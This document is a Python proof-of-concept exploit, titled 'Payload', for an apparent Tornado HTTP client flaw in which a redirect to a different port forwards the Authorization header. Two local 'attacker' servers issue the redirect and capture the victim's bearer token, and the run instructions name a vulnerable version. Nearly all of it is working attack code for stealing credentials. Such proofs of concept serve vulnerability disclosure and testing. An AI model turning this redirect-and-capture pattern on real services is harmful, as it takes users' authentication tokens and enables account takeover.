Payload

import asyncio
from tornado import web, httpclient, ioloop
from tornado.httpserver import HTTPServer

# Attacker's server to receive initial request and issue a redirect
class MaliciousRedirectHandler(web.RequestHandler):
    def get(self):
        print(f"[ATTACKER on Port 8888] Initial request received. Headers:\n{self.request.headers}")
        # Redirect to a different port to trigger the vulnerability
        self.redirect("http://127.0.0.1:8889/capture", permanent=False)

# Attacker's server to capture the redirected request with leaked headers
class CaptureHandler(web.RequestHandler):
    def get(self):
        print(f"\n[ATTACKER on Port 8889] Captured redirected request with LEAKED headers:\n{self.request.headers}")
        leaked_auth_header = self.request.headers.get("Authorization")
        print(f"\n>>> VULNERABILITY CONFIRMED: Leaked Authorization Header: {leaked_auth_header} <<<\n")
        self.write("Credentials successfully captured.")
        # Stop the IOLoop to end the demonstration
        ioloop.IOLoop.current().stop()

# Victim client using a vulnerable Tornado version
async def make_vulnerable_request():
    print("\n[VICTIM CLIENT] Making an authenticated request to a malicious URL that redirects...")
    client = httpclient.AsyncHTTPClient()
    request = httpclient.HTTPRequest(
        url="http://127.0.0.1:8888/some-api-endpoint",
        headers={"Authorization": "Bearer s3cr3t-t0k3n-f0r-trusted-service"}
    )
    try:
        # The fetch call will follow the redirect, leaking the header
        await client.fetch(request)
    except httpclient.HTTPError as e:
        # The request completes on the attacker's side before this error is even processed
        print(f"[VICTIM CLIENT] Request finished with an expected error after redirect: {e.code}")

def run_exploit():
    # Setup the two malicious servers on different ports
    redirect_server = HTTPServer(web.Application([(r"/.*", MaliciousRedirectHandler)]))
    redirect_server.listen(8888, "127.0.0.1")

    capture_server = HTTPServer(web.Application([(r"/.*", CaptureHandler)]))
    capture_server.listen(8889, "127.0.0.1")

    # Schedule the vulnerable client request to run once the event loop starts
    ioloop.IOLoop.current().add_callback(make_vulnerable_request)
    
    print("--- Tornado Credential Forwarding Exploit ---")
    print("Starting attacker servers. Victim client will make request shortly...")
    
    # Start the event loop. It will be stopped by the CaptureHandler.
    ioloop.IOLoop.current().start()
    
    print("--- Exploit demonstration finished ---")

# To run this payload, save it as a Python file and execute it with a vulnerable
# version of Tornado installed (e.g., `pip install tornado==6.4`).
run_exploit()